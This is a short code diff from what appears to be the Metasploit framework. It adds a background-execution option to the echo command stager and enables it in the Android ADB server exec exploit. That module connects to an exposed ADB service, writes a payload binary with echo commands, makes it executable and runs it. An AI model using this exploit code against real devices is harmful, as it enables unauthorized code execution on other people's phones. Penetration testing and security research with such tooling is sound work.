Add a background option for the echo cmdstager.

lib/rex/exploitation/cmdstager/echo.rb

@@ -108,7 +108,7 @@ class CmdStagerEcho < CmdStagerBase
     # Make it all happen
     cmds << "chmod 777 #{@tempdir}#{@var_elf}"
     #cmds << "chmod +x #{@tempdir}#{@var_elf}"
-    cmds << "#{@tempdir}#{@var_elf}"
+    cmds << "#{@tempdir}#{@var_elf}#{' & echo' if opts[:background]}"
 
     # Clean up after unless requested not to..
     unless opts[:nodelete]

modules/exploits/android/adb/adb_server_exec.rb

@@ -46,6 +46,7 @@ class Metasploit3 < Msf::Exploit::Remote
   end
 
   def execute_command(cmd, opts)
+    print_status cmd
     response = @adb_client.exec_cmd(cmd)
     print_good "Command executed, response:\n #{response}"
   end
@@ -55,11 +56,12 @@ class Metasploit3 < Msf::Exploit::Remote
       device_data = @adb_client.connect
       print_good "Connected to device:\n#{device_data.data}"
       execute_cmdstager({
-        :flavor => :echo,
-        :enc_format => :octal,
-        :prefix => '\\\\0',
-        :temp => datastore['WritableDir'],
-        :linemax => Rex::Proto::ADB::Message::Connect::DEFAULT_MAXDATA-8
+        flavor: :echo,
+        enc_format: :octal,
+        prefix: '\\\\0',
+        temp: datastore['WritableDir'],
+        linemax: Rex::Proto::ADB::Message::Connect::DEFAULT_MAXDATA-8,
+        background: true
       })
     end
   end